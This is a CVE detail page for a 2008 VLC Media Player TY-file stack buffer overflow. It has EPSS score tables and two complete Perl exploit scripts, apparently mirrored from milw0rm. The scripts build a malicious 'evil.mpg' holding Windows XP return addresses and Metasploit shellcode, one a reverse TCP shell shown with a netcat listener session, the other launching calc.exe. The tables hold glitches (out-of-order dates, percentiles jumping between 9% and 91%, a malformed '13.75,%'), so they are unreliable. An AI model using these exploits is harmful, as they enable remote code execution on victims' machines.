CVE-2008-4686 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.31%	–	–
2022-04-03	–	–	6.31%	–	–
2022-09-11	–	–	6.31%	–	–
2023-01-01	–	–	6.31%	–	–
2023-01-15	–	–	6.31%	–	–
2023-03-12	–	–	–	3.52%	–
2023-11-05	–	–	–	3.52%	–
2024-06-02	–	–	–	3.52%	–
2024-11-03	–	–	–	3.8%	–
2025-02-16	–	–	–	4.85%	–
2025-01-19	–	–	–	3.8%	–
2025-02-16	–	–	–	4.85%	–
2025-03-18	–	–	–	–	13.75%
2025-03-18	–	–	–	–	13.75,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	78%
2022-04-03	9%
2022-09-11	91%
2023-01-01	9%
2023-01-15	91%
2023-03-12	9%
2023-11-05	91%
2024-06-02	92%
2024-11-03	92%
2025-02-16	93%
2025-01-19	92%
2025-02-16	93%
2025-03-18	94%
2025-03-18	94%

#!/usr/bin/perl # 10/23/2008 k`sOSe # Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit # 1 - Works on Windows XP SP1, SP2, SP3 (and probably win2k) # 2 - Works both with a local file and with a remote url # 3 - VLC do not crash! # 4 - Enjoy a respawing shell, even if VLC will be closed! # # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC>exit # exit # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC>exit # exit # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC> use warnings; use strict; # windows/exec - 141 bytes # http://www.metasploit.com my $shellcode = # windows/shell_reverse_tcp - 287 bytes # http://www.metasploit.com # EXITFUNC=seh, LPORT=443, LHOST=127.0.0.1 "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" . "\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" . "\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" . "\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" . "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" . "\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" . "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" . "\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" . "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" . "\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" . "\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" . "\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66\x68\x01\xbb" . "\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" . "\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" . "\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" . "\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" . "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" . "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" . "\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" . "\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" . "\x04\x5f\x53\xff\xd6\xff\xd0"; my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID "\x00\x00\x00\x02" . "\x00\x02\x00\x00" . # CHUNK_SIZE $junk x 8 . "\x00\x00\x05\x41" . # i_map_size $junk x 4 . "\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1 $junk x 60 . "\xb3\x57\x04\x7d" . # jmp esp for winxp sp2.. if it fails SEH will be triggered $shellcode . $shellcode . $junk x (733 - length($shellcode)) . "\xeb\x06\x90\x90" . # jump ahead "\x13\x12\x54\x6a" . # pop,pop,ret @ libvlc 0.9.4 "\xe9\x16\xfd\xff\xff". # jump back $junk x 129943 . "\x05" . # i_num_recs $junk x 3 . "\x05" . # p_hdrs $junk x 1 . "\x09" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0" . # rec_type / $junk x 14 . "\x06" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo "\xe0" . # rec_type / $junk x 531062; # milw0rm.com [2008-10-23]

#!/usr/bin/perl # 10/21/2008 k`sOSe use warnings; use strict; # windows/exec - 141 bytes # http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" . "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" . "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" . "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" . "\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" . "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" . "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" . "\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73" . "\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65" . "\x00"; usage() if(!defined(@ARGV) or scalar(@ARGV) < 1 or $ARGV[0] !~ /^\d$/ or $ARGV[0] > 1); my @targets = ( "\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1 "\xb3\x57\x04\x7d" # jmp esp @ shell32.dll - Win XP SP2 ); my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID "\x00\x00\x00\x02" . "\x00\x02\x00\x00" . # CHUNK_SIZE $junk x 8 . "\x00\x00\x05\x41" . # i_map_size $junk x 4 . "\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1 $junk x 60 . $targets[$ARGV[0]] . $shellcode . $junk x 130835 . "\x05" . # i_num_recs $junk x 3 . "\x05" . # p_hdrs $junk x 1 . "\x09" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0" . # rec_type / $junk x 14 . "\x06" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo "\xe0" . # rec_type / $junk x 531062; sub usage { print <<EOM; VLC Media Player TY File Stack Based Buffer Overflow Exploit k`sOSe - 10/21/2008 usage: $0 <target> targets: 0 - Windows XP SP1 1 - Windows XP SP2 EOM exit; } # milw0rm.com [2008-10-21]